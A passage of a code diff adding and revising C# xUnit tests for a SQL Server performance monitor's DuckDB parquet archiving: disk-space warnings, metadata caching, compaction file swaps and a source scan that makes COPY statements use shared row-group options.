+        Assert.Equal((2_000L, 2_000L), Visible());
+        Assert.Empty(Warnings());
+    }
+
+    [Fact]
+    public void WarnIfLow_NamesTheFolderTheBytesFreeAndTheBytesNeeded_OnlyWhenThereIsLess()
+    {
+        var logger = new CapturingLogger<ArchiveService>(_log);
+
+        Assert.True(DataVolumeSpace.WarnIfLow(logger, @"C:\Lite\data", 600L * 1024 * 1024, "a CHECKPOINT", _ => 100L * 1024 * 1024));
+        var warning = Assert.Single(Warnings());
+        Assert.Contains(@"C:\Lite\data", warning, StringComparison.Ordinal);
+        Assert.Contains((100L * 1024 * 1024).ToString(System.Globalization.CultureInfo.InvariantCulture), warning, StringComparison.Ordinal);
+        Assert.Contains((600L * 1024 * 1024).ToString(System.Globalization.CultureInfo.InvariantCulture), warning, StringComparison.Ordinal);
+        Assert.Contains("100.0 MiB", warning, StringComparison.Ordinal);
+        Assert.Contains("600.0 MiB", warning, StringComparison.Ordinal);
+        Assert.Contains("a CHECKPOINT", warning, StringComparison.Ordinal);
+
+        _log.Clear();
+        Assert.False(DataVolumeSpace.WarnIfLow(logger, "x", 600, "r", _ => 600));
+        Assert.False(DataVolumeSpace.WarnIfLow(logger, "x", 600, "r", _ => 601));
+        Assert.False(DataVolumeSpace.WarnIfLow(logger, "x", 600, "r", _ => null));
+        Assert.False(DataVolumeSpace.WarnIfLow(logger, "x", 0, "r", _ => 0));
+        Assert.Empty(Warnings());
+    }
+
+    [Fact]
+    public void GetAvailableFreeBytes_ReadsTheRealVolume_AndAnswersNullWhenItCannot()
+    {
+        var free = DataVolumeSpace.GetAvailableFreeBytes(_tempDir);
+        Assert.NotNull(free);
+        Assert.True(free > 0);
+
+        /* A share has no drive letter: unknown, so nothing warns on a guess. */
+        Assert.Null(DataVolumeSpace.GetAvailableFreeBytes(@"\\no-such-host-5377\share\lite"));
+    }
+
+    [Fact]
+    public async Task TheDataVolumeWarning_FiresAtStartup_AndThenOnlyOnTheCadence_NamingTheFolder()
+    {
+        var now = new DateTime(2026, 10, 6, 0, 0, 0, DateTimeKind.Utc);
+        var (service, initializer) = NewService(freeBytes: 1);
+        initializer.UtcNow = () => now;
+
+        await initializer.InitializeAsync();
+
+        var startup = Assert.Single(VolumeWarnings());
+        Assert.Contains(_tempDir, startup, StringComparison.Ordinal);
+        Assert.Contains("1 bytes free", startup, StringComparison.Ordinal);
+        Assert.Contains("CHECKPOINT", startup, StringComparison.Ordinal);
+
+        /* Hourly archive passes are silent while the volume stays low; a day later one repeats. */
+        now = now.AddHours(1);
+        await service.ArchiveOldDataAsync(hotDataDays: 7);
+        Assert.Single(VolumeWarnings());
+
+        now = now.AddHours(24);
+        await service.ArchiveOldDataAsync(hotDataDays: 7);
+        Assert.Equal(2, VolumeWarnings().Count);
+
+        /* Enough room: silent, with one line saying so. */
+        _initializerLog.Clear();
+        initializer.AvailableFreeBytesProvider = _ => long.MaxValue;
+        await service.ArchiveOldDataAsync(hotDataDays: 7);
+        Assert.Empty(VolumeWarnings());
+        Assert.Single(_initializerLog, e => e.Message.Contains("enough free disk space again", StringComparison.Ordinal));
+    }
+
+    /// <summary>
+    /// DuckDB caches a parquet file's state against its PATH at INSTANCE scope, and a test with separate
+    /// in-memory instances cannot see it. Compaction writes the merged month over the existing
+    /// <c>YYYYMM_table.parquet</c>, the very path an earlier read went through, so this reads it on the store's
+    /// own instance (the initializer's connection string, sentinel open), lets compaction replace it, and reads
+    /// it again on a fresh connection of the same instance. It runs with <c>parquet_metadata_cache</c> off, as
+    /// Lite ships it, and on, the setting evaluated and declined in #5377: both must read the new bytes.
+    /// </summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task ACompactedMonthFile_ReadsItsNewBytes_OnTheSameInstanceThatReadItBefore(bool metadataCache)
+    {
+        MakeParquet("202609_t.parquet", 0, 100_000);
+        var (service, initializer) = NewService();
+        await initializer.InitializeAsync();
+
+        if (metadataCache)
+        {
+            await using var set = initializer.CreateConnection();
+            await set.OpenAsync(TestContext.Current.CancellationToken);
+            await using var setCmd = set.CreateCommand();
+            /* GLOBAL: a plain SET of this setting is per connection, and the point is the instance's cache. */
+            setCmd.CommandText = "SET GLOBAL parquet_metadata_cache=true";
+            await setCmd.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+        }
+
+        Assert.Equal(metadataCache, await SettingAsync(initializer, "parquet_metadata_cache"));
+        Assert.Equal(100_000L, await CountAsync(initializer));
+
+        /* Fold new rows in: the merged month replaces the file at the same name, and is a different size. */
+        MakeParquet("20260928_1400_t.parquet", 100_000, 160_000);
+        service.CompactParquetFiles();
+        Assert.Equal(["202609_t.parquet"], ArchiveFileNames());
+
+        Assert.Equal(160_000L, await CountAsync(initializer));
+
+        /* And shrinking it, as the Query Store repair does. */
+        Exec($"COPY (SELECT i AS id, md5(i::VARCHAR) AS payload FROM range(0, 1000) t(i)) TO '{P("202609_t.parquet")}.tmp' (FORMAT PARQUET)");
+        File.Delete(P("202609_t.parquet").Replace("/", "\\"));
+        File.Move(P("202609_t.parquet.tmp").Replace("/", "\\"), P("202609_t.parquet").Replace("/", "\\"));
+        Assert.Equal(1_000L, await CountAsync(initializer));
+    }
+
+    /// <summary>
+    /// The decision #5377 made on measured numbers, pinned so a change to it is deliberate: the metadata cache is
+    /// left at DuckDB's default, off. See the comment on <see cref="DuckDbInitializer.ConnectionString"/>.
+    /// </summary>
+    [Fact]
+    public async Task ParquetMetadataCache_IsOff_OnTheStoresConnections()
+    {
+        var (_, initializer) = NewService();
+        await initializer.InitializeAsync();
+
+        Assert.False(await SettingAsync(initializer, "parquet_metadata_cache"));
+        Assert.DoesNotContain("parquet_metadata_cache", initializer.ConnectionString, StringComparison.OrdinalIgnoreCase);
+    }
+
+    private async Task<long> CountAsync(DuckDbInitializer initializer)
+    {
+        await using var connection = initializer.CreateConnection();
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        await using var cmd = connection.CreateCommand();
+        cmd.CommandText = $"SELECT count(*) FROM read_parquet(['{P("*_t.parquet")}'])";
+        return Convert.ToInt64(await cmd.ExecuteScalarAsync(TestContext.Current.CancellationToken), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    private static async Task<bool> SettingAsync(DuckDbInitializer initializer, string name)
+    {
+        await using var connection = initializer.CreateConnection();
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        await using var cmd = connection.CreateCommand();
+        cmd.CommandText = $"SELECT current_setting('{name}')";
+        return Convert.ToBoolean(await cmd.ExecuteScalarAsync(TestContext.Current.CancellationToken), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    private sealed class CapturingLogger<T>(List<(LogLevel Level, string Message)> sink) : ILogger<T>
+    {
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception,
+            Func<TState, Exception?, string> formatter) => sink.Add((logLevel, formatter(state, exception)));
+    }
+}
diff --git a/Lite.Tests/ArchiveCompactionSwapLockTests.cs b/Lite.Tests/ArchiveCompactionSwapLockTests.cs
index e4d07602fb..1a1d9acb80 100644
--- a/Lite.Tests/ArchiveCompactionSwapLockTests.cs
+++ b/Lite.Tests/ArchiveCompactionSwapLockTests.cs
@@ -51,6 +51,8 @@ namespace PerformanceMonitorLite.Tests;
 [Collection("CollectionResetGate")]
 public sealed class ArchiveCompactionSwapLockTests : IDisposable
 {
+    private readonly List<DuckDbInitializer> _initializers = [];
+
     /* 5 hot rows, plus 10 per archive file across four files. */
     private const long TotalRows = 45;
 
@@ -74,6 +76,11 @@ public ArchiveCompactionSwapLockTests()
 
     public void Dispose()
     {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
         try
         {
             if (Directory.Exists(_tempDir))
@@ -109,7 +116,8 @@ INSERT INTO collection_log (log_id, server_id, server_name, collector_name, coll
     private async Task<(DuckDbInitializer Initializer, ArchiveService Service)> SetUpAsync(ILogger<ArchiveService>? logger = null)
     {
         var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        _initializers.Add(initializer);
+        await initializer.InitializeFromTemplateAsync();
 
         await ArchiveRowsAsync("20260801_0000_collection_log.parquet", 0, 10);
         await ArchiveRowsAsync("20260801_0100_collection_log.parquet", 10, 20);
diff --git a/Lite.Tests/ArchiveCompactionSwapTests.cs b/Lite.Tests/ArchiveCompactionSwapTests.cs
index 0c52408bdf..c7c8326ace 100644
--- a/Lite.Tests/ArchiveCompactionSwapTests.cs
+++ b/Lite.Tests/ArchiveCompactionSwapTests.cs
@@ -31,6 +31,7 @@ public sealed class ArchiveCompactionSwapTests : IDisposable
 {
     private readonly string _tempDir;
     private readonly string _archiveDir;
+    private readonly List<DuckDbInitializer> _initializers = [];
 
     public ArchiveCompactionSwapTests()
     {
@@ -42,6 +43,11 @@ public ArchiveCompactionSwapTests()
 
     public void Dispose()
     {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
         try
         {
             if (Directory.Exists(_tempDir))
@@ -55,8 +61,12 @@ public void Dispose()
 
     private string P(string fileName) => Path.Combine(_archiveDir, fileName).Replace("\\", "/");
 
-    private ArchiveService NewService() =>
-        new(new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb")), _archiveDir);
+    private ArchiveService NewService()
+    {
+        var initializer = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _initializers.Add(initializer);
+        return new(initializer, _archiveDir);
+    }
 
     private static void Exec(string sql)
     {
@@ -141,13 +151,17 @@ public void FailedPromote_KeepsEveryRow_ForASingleOutput()
     [Fact]
     public void FailedPromote_KeepsEveryRow_ForPartFiles()
     {
+        /* Since #5377 a part file that sits alone in its batch is left where it is (rewriting it would change
+           nothing), so a swap with more than one output needs two batches that each have a per-cycle file in
+           them. The per-cycle files are bigger than the parts here for that: smallest first, the budget fits
+           pt001 with the first per-cycle file, pt002 gets a batch to itself and stays, and the second per-cycle
+           file merges alone. The outputs are then pt001 (replacing the existing part) and pt003 (fresh). */
         MakeParquet("202609_t_pt001.parquet", 0, 60_000);
+        MakeParquet("20260928_1400_t.parquet", 5_000_000, 5_070_000);
         MakeParquet("202609_t_pt002.parquet", 1_000_000, 1_080_000);
-        MakeParquet("20260928_1400_t.parquet", 5_000_000, 5_000_100);
+        MakeParquet("20260928_1500_t.parquet", 6_000_000, 6_090_000);
 
         var service = NewService();
-        /* A budget that fits the per-cycle file and the smaller part but not the larger one: the merge
-           splits into two batches, so both output names are the existing part files. */
         service.CompactionBatchInputBytes =
             new FileInfo(P("202609_t_pt001.parquet").Replace("/", "\\")).Length
             + new FileInfo(P("20260928_1400_t.parquet").Replace("/", "\\")).Length;
@@ -170,23 +184,87 @@ public void FailedPromote_KeepsEveryRow_ForPartFiles()
         }
 
         Assert.Equal(2, temps.Count);
+        Assert.Equal([P("202609_t_pt001.parquet.tmp"), P("202609_t_pt003.parquet.tmp")], temps);
 
         var (rows, distinct) = Visible("t");
-        Assert.Equal(140_100, rows);
-        Assert.Equal(140_100, distinct);
+        Assert.Equal(300_000, rows);
+        Assert.Equal(300_000, distinct);
         Assert.Equal(60_000, Scalar($"SELECT count(*) FROM read_parquet('{P("202609_t_pt001.parquet")}') WHERE id < 60000"));
         Assert.Equal(80_000, Scalar($"SELECT count(*) FROM read_parquet('{P("202609_t_pt002.parquet")}') WHERE id >= 1000000"));
         Assert.True(File.Exists(P("20260928_1400_t.parquet")));
+        Assert.True(File.Exists(P("20260928_1500_t.parquet")));
         Assert.DoesNotContain(ArchiveFileNames(), f => f.EndsWith(".replaced", StringComparison.Ordinal) || f.EndsWith(".swap", StringComparison.Ordinal));
 
-        /* Next cycle: the same inputs merge into two fresh parts, every row exactly once. */
+        /* Next cycle: the same inputs merge into pt001 and a fresh pt003, every row exactly once, and pt002,
+           which stayed throughout, is untouched. */
         service.OnCompactionTempsReadyForTests = null;
         service.CompactParquetFiles();
 
         (rows, distinct) = Visible("t");
-        Assert.Equal(140_100, rows);
-        Assert.Equal(140_100, distinct);
+        Assert.Equal(300_000, rows);
+        Assert.Equal(300_000, distinct);
         Assert.False(File.Exists(P("20260928_1400_t.parquet")), "the per-cycle input survived a successful merge");
+        Assert.False(File.Exists(P("20260928_1500_t.parquet")), "the per-cycle input survived a successful merge");
+        Assert.Equal(["202609_t_pt001.parquet", "202609_t_pt002.parquet", "202609_t_pt003.parquet"], ArchiveFileNames());
+        Assert.Equal(130_000, Scalar($"SELECT count(*) FROM read_parquet('{P("202609_t_pt001.parquet")}')"));
+        Assert.Equal(90_000, Scalar($"SELECT count(*) FROM read_parquet('{P("202609_t_pt003.parquet")}')"));
+    }
+
+    [Fact]
+    public void FailedPromote_KeepsEveryRow_ForTwoReplacingOutputs_WhenTheLastMoveFails()
+    {
+        /* Two outputs that BOTH replace an existing part: each batch holds one part and one per-cycle file.
+           Smallest first the files sort c1400 (40k rows), pt001 (60k), pt002 (70k), c1500 (80k); a budget of
+           pt002 + c1500 cuts the first batch after pt001 (adding pt002 would pass it), so the batches are
+           [c1400, pt001] and [pt002, c1500]. With nothing staying the outputs are pt001 and pt002, each the name
+           of a part it consumes, and the move of the last one (pt002) fails. */
+        MakeParquet("20260928_1400_t.parquet", 5_000_000, 5_040_000);
+        MakeParquet("202609_t_pt001.parquet", 0, 60_000);
+        MakeParquet("202609_t_pt002.parquet", 1_000_000, 1_070_000);
+        MakeParquet("20260928_1500_t.parquet", 6_000_000, 6_080_000);
+
+        var service = NewService();
+        service.CompactionBatchInputBytes =
+            new FileInfo(P("202609_t_pt002.parquet").Replace("/", "\\")).Length
+            + new FileInfo(P("20260928_1500_t.parquet").Replace("/", "\\")).Length;
+
+        FileStream? hold = null;
+        List<string> temps = [];
+        service.OnCompactionTempsReadyForTests = t =>
+        {
+            temps = t.ToList();
+            hold = new FileStream(t[^1].Replace("/", "\\"), FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
+        };
+
+        try
+        {
+            service.CompactParquetFiles();
+        }
+        finally
+        {
+            hold?.Dispose();
+        }
+
+        Assert.Equal([P("202609_t_pt001.parquet.tmp"), P("202609_t_pt002.parquet.tmp")], temps);
+
+        /* The swap was undone: every row once, the original files back, no swap debris. */
+        var (rows, distinct) = Visible("t");
+        Assert.Equal(250_000, rows);
+        Assert.Equal(250_000, distinct);
+        Assert.Equal(60_000, Scalar($"SELECT count(*) FROM read_parquet('{P("202609_t_pt001.parquet")}') WHERE id < 60000"));
+        Assert.Equal(70_000, Scalar($"SELECT count(*) FROM read_parquet('{P("202609_t_pt002.parquet")}') WHERE id >= 1000000"));
+        Assert.True(File.Exists(P("20260928_1400_t.parquet")));
+        Assert.True(File.Exists(P("20260928_1500_t.parquet")));
+        Assert.DoesNotContain(ArchiveFileNames(), f => f.EndsWith(".replaced", StringComparison.Ordinal) || f.EndsWith(".swap", StringComparison.Ordinal));
+
+        /* Next cycle, nothing held: the same inputs merge into pt001 and pt002, every row exactly once. */
+        service.OnCompactionTempsReadyForTests = null;
+        service.CompactParquetFiles();
+
+        (rows, distinct) = Visible("t");
+        Assert.Equal(250_000, rows);
+        Assert.Equal(250_000, distinct);
+        Assert.Equal(["202609_t_pt001.parquet", "202609_t_pt002.parquet"], ArchiveFileNames());
     }
 
     /// <summary>
diff --git a/Lite.Tests/ArchiveCopyOptionsPinTests.cs b/Lite.Tests/ArchiveCopyOptionsPinTests.cs
new file mode 100644
index 0000000000..30d15c86d6
--- /dev/null
+++ b/Lite.Tests/ArchiveCopyOptionsPinTests.cs
@@ -0,0 +1,273 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Darling.Tests;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5381: DuckDB decodes about a row group's whole column chunk for any read that touches the column, so an
+/// archive file written at DuckDB's default 122,880 rows (one row group per daily file) made every windowed read
+/// of query_text decode the whole day. Every COPY that writes an archive file takes its options from one place,
+/// <see cref="ParquetCompaction.ArchiveCopyOptions"/>, and these tests keep a new COPY from skipping it.
+/// </summary>
+public sealed class ArchiveCopyOptionsSourceScanTests
+{
+    private static string RepoRoot()
+    {
+        var directory = new DirectoryInfo(AppContext.BaseDirectory);
+        for (var i = 0; i < 12 && directory is not null; i++)
+        {
+            if (File.Exists(Path.Combine(directory.FullName, "PerformanceMonitor.sln")))
+            {
+                return directory.FullName;
+            }
+
+            directory = directory.Parent;
+        }
+
+        throw new InvalidOperationException("PerformanceMonitor.sln not found above " + AppContext.BaseDirectory);
+    }
+
+    private static IEnumerable<(string Path, string Text)> LiteSources()
+    {
+        var lite = Path.Combine(RepoRoot(), "Lite");
+        foreach (var file in Directory.EnumerateFiles(lite, "*.cs", SearchOption.AllDirectories))
+        {
+            var relative = Path.GetRelativePath(lite, file).Replace('\\', '/');
+            if (relative.StartsWith("bin/", StringComparison.Ordinal) || relative.StartsWith("obj/", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            yield return (relative, File.ReadAllText(file));
+        }
+    }
+
+    /* A COPY's destination in an interpolated SQL string: TO '{path}', with or without an option list after it.
+       The path expression may hold parentheses but never a closing brace, so [^}]* spans it. A bare
+       COPY ... TO '{path}' has no option list at all (DuckDB infers parquet from the extension) and would write
+       122,880-row groups, so the destination alone counts, not only one followed by a parenthesis (#5381). */
+    private static readonly Regex CopyDestination = new(@"\bTO\s+'\{[^}]*\}'", RegexOptions.CultureInvariant);
+
+    private static readonly Regex CopyWithSharedOptions = new(
+        @"\bTO\s+'\{[^}]*\}'\s*\(\{(?:ParquetCompaction\.)?(?:ArchiveCopyOptions|BuildArchiveCopyOptions\([^}]*\))\}\)",
+        RegexOptions.CultureInvariant);
+
+    private static (int All, int Shared) CountCopies(string text) =>
+        (CopyDestination.Matches(text).Count, CopyWithSharedOptions.Matches(text).Count);
+
+    [Fact]
+    public void ABareCopyWithNoOptionList_IsCountedAsAnOffender()
+    {
+        /* A planted COPY with no option list: it must count as a COPY that is not on the shared options. */
+        var (bareAll, bareShared) = CountCopies("cmd.CommandText = $\"COPY (SELECT * FROM {table}) TO '{path}'\";");
+        Assert.Equal(1, bareAll);
+        Assert.Equal(0, bareShared);
+
+        var (listAll, listShared) = CountCopies("cmd.CommandText = $\"COPY (SELECT 1) TO '{path}' (FORMAT PARQUET)\";");
+        Assert.Equal(1, listAll);
+        Assert.Equal(0, listShared);
+
+        var (okAll, okShared) = CountCopies(
+            "cmd.CommandText = $\"COPY (SELECT 1) TO '{path}' ({ParquetCompaction.ArchiveCopyOptions})\";");
+        Assert.Equal(1, okAll);
+        Assert.Equal(1, okShared);
+    }
+
+    [Fact]
+    public void EveryLiteArchiveCopy_TakesItsOptionsFromTheSharedConstant()
+    {
+        var offenders = new List<string>();
+        var compliant = 0;
+
+        foreach (var (path, text) in LiteSources())
+        {
+            var (all, shared) = CountCopies(text);
+            compliant += shared;
+            if (all != shared)
+            {
+                offenders.Add($"{path}: {all - shared} COPY(ies) without ParquetCompaction.ArchiveCopyOptions");
+            }
+        }
+
+        Assert.True(compliant >= 6,
+            $"expected the writer, compaction, the two other ArchiveService COPYs, DataImportService and Query Store slice repair; found {compliant}");
+        Assert.True(offenders.Count == 0, string.Join(Environment.NewLine, offenders));
+    }
+
+    [Fact]
+    public void NoLiteSourceSpellsOutAParquetFormatOutsideTheSharedConstant()
+    {
+        /* The one exception is DuckDbInitializer's EXPORT DATABASE backup: it writes a restorable database
+           export, not an archive file the views read, and EXPORT DATABASE takes a different option list. */
+        var offenders = new List<string>();
+        foreach (var (path, text) in LiteSources())
+        {
+            if (path == "Services/ParquetCompaction.cs")
+            {
+                continue;
+            }
+
+            /* Read the string-literal bodies the walker finds, not lines filtered by a comment prefix: a
+               "FORMAT PARQUET" inside a comment is not a literal, and a block comment's continuation line
+               carries no prefix to filter on. Line numbers come from the body's offset in the file. */
+            foreach (var (start, body) in CSharpSourceWalker.StringLiteralBodies(text))
+            {
+                var firstLine = text.AsSpan(0, start).Count('\n') + 1;
+                var lines = body.Split('\n');
+                for (var i = 0; i < lines.Length; i++)
+                {
+                    if (lines[i].Contains("FORMAT PARQUET", StringComparison.OrdinalIgnoreCase)
+                        && !lines[i].Contains("EXPORT DATABASE", StringComparison.Ordinal))
+                    {
+                        offenders.Add($"{path}:{firstLine + i}");
+                    }
+                }
+            }
+        }
+
+        Assert.True(offenders.Count == 0, "FORMAT PARQUET spelled out, use ParquetCompaction.ArchiveCopyOptions: " + string.Join(", ", offenders));
+    }
+
+    [Fact]
+    public void TheSharedConstant_NamesARowGroupSizeBelowDuckDbsDefault()
+    {
+        Assert.Contains($"ROW_GROUP_SIZE {ParquetCompaction.ArchiveRowGroupSize}", ParquetCompaction.ArchiveCopyOptions, StringComparison.Ordinal);
+        Assert.Contains("COMPRESSION ZSTD", ParquetCompaction.ArchiveCopyOptions, StringComparison.Ordinal);
+        Assert.Equal(ParquetCompaction.ArchiveRowGroupSize, ParquetCompaction.DefaultRowGroupSize);
+        Assert.InRange(ParquetCompaction.ArchiveRowGroupSize, 2048, 8192);
+    }
+}
+
+[Collection("CollectionResetGate")]
+public sealed class ArchiveWriterRowGroupTests : IDisposable
+{
+    private readonly List<DuckDbInitializer> _initializers = [];
+    private readonly string _tempDir;
+    private readonly string _dbPath;
+    private readonly string _archiveDir;
+
+    public ArchiveWriterRowGroupTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+        _archiveDir = Path.Combine(_tempDir, "archive");
+        Directory.CreateDirectory(_archiveDir);
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private async Task<long> ScalarAsync(string sql)
+    {
+        using var connection = new DuckDBConnection("Data Source=:memory:");
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        return Convert.ToInt64(await cmd.ExecuteScalarAsync(TestContext.Current.CancellationToken));
+    }
+
+    /* The row count is well above one row group at ArchiveRowGroupSize and far below DuckDB's default 122,880,
+       so a file written without the bound is exactly one row group. */
+    private const int SeededRows = 9000;
+
+    [Fact]
+    public async Task ArchivalWriter_WritesMoreThanOneRowGroup_ForATableAboveTheBound()
+    {
+        var initializer = new DuckDbInitializer(_dbPath);
+        _initializers.Add(initializer);
+        await initializer.InitializeFromTemplateAsync();
+
+        using (var connection = new DuckDBConnection($"Data Source={_dbPath}"))
+        {
+            await connection.OpenAsync(TestContext.Current.CancellationToken);
+            using var seed = connection.CreateCommand();
+            seed.CommandText = $@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, status)
+SELECT i, 1, 'S1', 'wait_stats', TIMESTAMP '2026-01-01 00:00:00' + INTERVAL (i) SECOND, 'SUCCESS' FROM range(1, {SeededRows + 1}) t(i)";
+            await seed.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+        }
+
+        await new ArchiveService(initializer, _archiveDir).ArchiveOldDataAsync(hotDataDays: 7);
+
+        var file = Directory.GetFiles(_archiveDir, "*_collection_log.parquet").Single().Replace('\\', '/');
+        Assert.Equal(SeededRows, await ScalarAsync($"SELECT count(*) FROM read_parquet('{file}')"));
+
+        var groups = await ScalarAsync($"SELECT count(DISTINCT row_group_id) FROM parquet_metadata('{file}')");
+        var largest = await ScalarAsync($"SELECT max(row_group_num_rows) FROM parquet_metadata('{file}')");
+        Assert.True(groups > 1, $"the archive file is {groups} row group(s) of up to {largest} rows; a windowed read decodes whole groups");
+        Assert.True(largest < SeededRows, $"largest row group {largest} holds every row");
+
+        /* DuckDB 1.5.5's parallel writer can put whole row groups in a different order from the source (the rows
+           inside a group stay in order), and nothing in Lite reads by file position. What the views depend on is
+           that each group covers its own narrow span of collection_time, so the footer min/max can prune: no two
+           groups may overlap in time. */
+        /* A group with no footer min or max gives the join below no pair, so "no overlap" would pass without
+           checking anything. Every group must carry both stats before the overlap is read (#5381). */
+        var withoutStats = await ScalarAsync($@"
+SELECT count(*) FROM parquet_metadata('{file}')
+WHERE path_in_schema = 'collection_time' AND (stats_min IS NULL OR stats_max IS NULL)");
+        var statGroups = await ScalarAsync($@"
+SELECT count(*) FROM parquet_metadata('{file}') WHERE path_in_schema = 'collection_time'");
+        Assert.True(statGroups == groups, $"{statGroups} collection_time column chunk(s) for {groups} row group(s)");
+        Assert.True(withoutStats == 0, $"{withoutStats} row group(s) have no footer min/max for collection_time, so the overlap check below would pass vacuously");
+
+        var overlapping = await ScalarAsync($@"
+WITH g AS (SELECT row_group_id, min(stats_min::TIMESTAMP) AS mn, max(stats_max::TIMESTAMP) AS mx
+           FROM parquet_metadata('{file}') WHERE path_in_schema = 'collection_time' GROUP BY row_group_id)
+SELECT count(*) FROM g a JOIN g b ON a.row_group_id < b.row_group_id AND a.mn <= b.mx AND b.mn <= a.mx");
+        Assert.True(overlapping == 0, $"{overlapping} pair(s) of row groups overlap in collection_time, so a window read cannot skip either");
+    }
+
+    [Fact]
+    public async Task Compaction_WritesTheSharedRowGroupSize()
+    {
+        var source = Path.Combine(_tempDir, "20260101_0000_collection_log.parquet").Replace('\\', '/');
+        var output = Path.Combine(_tempDir, "merged.parquet").Replace('\\', '/');
+        using (var connection = new DuckDBConnection("Data Source=:memory:"))
+        {
+            await connection.OpenAsync(TestContext.Current.CancellationToken);
+            using var write = connection.CreateCommand();
+            write.CommandText = $"COPY (SELECT i AS log_id, TIMESTAMP '2026-01-01 00:00:00' + INTERVAL (i) SECOND AS collection_time FROM range(1, {SeededRows + 1}) t(i)) TO '{source}' (FORMAT PARQUET)";
+            await write.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+        }
+
+        ParquetCompaction.MergeBatchToFile("collection_log", [source], output, _tempDir.Replace('\\', '/'));
+
+        var groups = await ScalarAsync($"SELECT count(DISTINCT row_group_id) FROM parquet_metadata('{output}')");
+        Assert.True(groups > 1, $"compaction wrote {groups} row group(s)");
+        Assert.Equal(0, await ScalarAsync($"SELECT count(*) FROM (SELECT DISTINCT row_group_id, row_group_num_rows FROM parquet_metadata('{output}')) WHERE row_group_num_rows > {ParquetCompaction.ArchiveRowGroupSize * 4}"));
+    }
+}
diff --git a/Lite.Tests/ArchiveFailedExportTempTests.cs b/Lite.Tests/ArchiveFailedExportTempTests.cs
index 75e3abfe27..2546fe8e30 100644
--- a/Lite.Tests/ArchiveFailedExportTempTests.cs
+++ b/Lite.Tests/ArchiveFailedExportTempTests.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.IO;
 using System.Linq;
 using System.Threading.Tasks;
@@ -27,6 +28,8 @@ namespace PerformanceMonitorLite.Tests;
 [Collection("CollectionResetGate")]
 public sealed class ArchiveFailedExportTempTests : IDisposable
 {
+    private readonly List<DuckDbInitializer> _initializers = [];
+
     private readonly string _tempDir;
     private readonly string _dbPath;
     private readonly string _archiveDir;
@@ -42,6 +45,11 @@ public ArchiveFailedExportTempTests()
 
     public void Dispose()
     {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
         try
         {
             if (Directory.Exists(_tempDir))
@@ -80,7 +88,8 @@ private string[] ArchiveFileNames() =>
     private async Task<DuckDbInitializer> SeedACopyThatFailsMidQueryAsync()
     {
         var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        _initializers.Add(initializer);
+        await initializer.InitializeFromTemplateAsync();
 
         await ExecAsync(@"
 INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, status)
diff --git a/Lite.Tests/ArchiveInterruptedRunTests.cs b/Lite.Tests/ArchiveInterruptedRunTests.cs
index 34bf44a0c7..e292a039f8 100644
--- a/Lite.Tests/ArchiveInterruptedRunTests.cs
+++ b/Lite.Tests/ArchiveInterruptedRunTests.cs
@@ -30,6 +30,8 @@ namespace PerformanceMonitorLite.Tests;
 [Collection("CollectionResetGate")]
 public sealed class ArchiveInterruptedRunTests : IDisposable
 {
+    private readonly List<DuckDbInitializer> _initializers = [];
+
     private readonly string _tempDir;
     private readonly string _dbPath;
     private readonly string _archiveDir;
@@ -45,6 +47,11 @@ public ArchiveInterruptedRunTests()
 
     public void Dispose()
     {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
         try
         {
             if (Directory.Exists(_tempDir))
@@ -92,7 +99,8 @@ private void MakeParquet(string fileName, long from, long to) =>
     private async Task<DuckDbInitializer> SeedAsync()
     {
         var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
+        _initializers.Add(initializer);
+        await initializer.InitializeFromTemplateAsync();
 
         await ExecAsync(@"
 INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, status)
@@ -221,8 +229,8 @@ public async Task ArchiveThatFailsItsDelete_LeavesNeitherTheFileNorAJournal()
     [Fact]
     public async Task StaleTempFiles_AreRemovedAtTheStartOfTheNextRun()
     {
-        var initializer = new DuckDbInitializer(_dbPath);
-        await initializer.InitializeAsync();
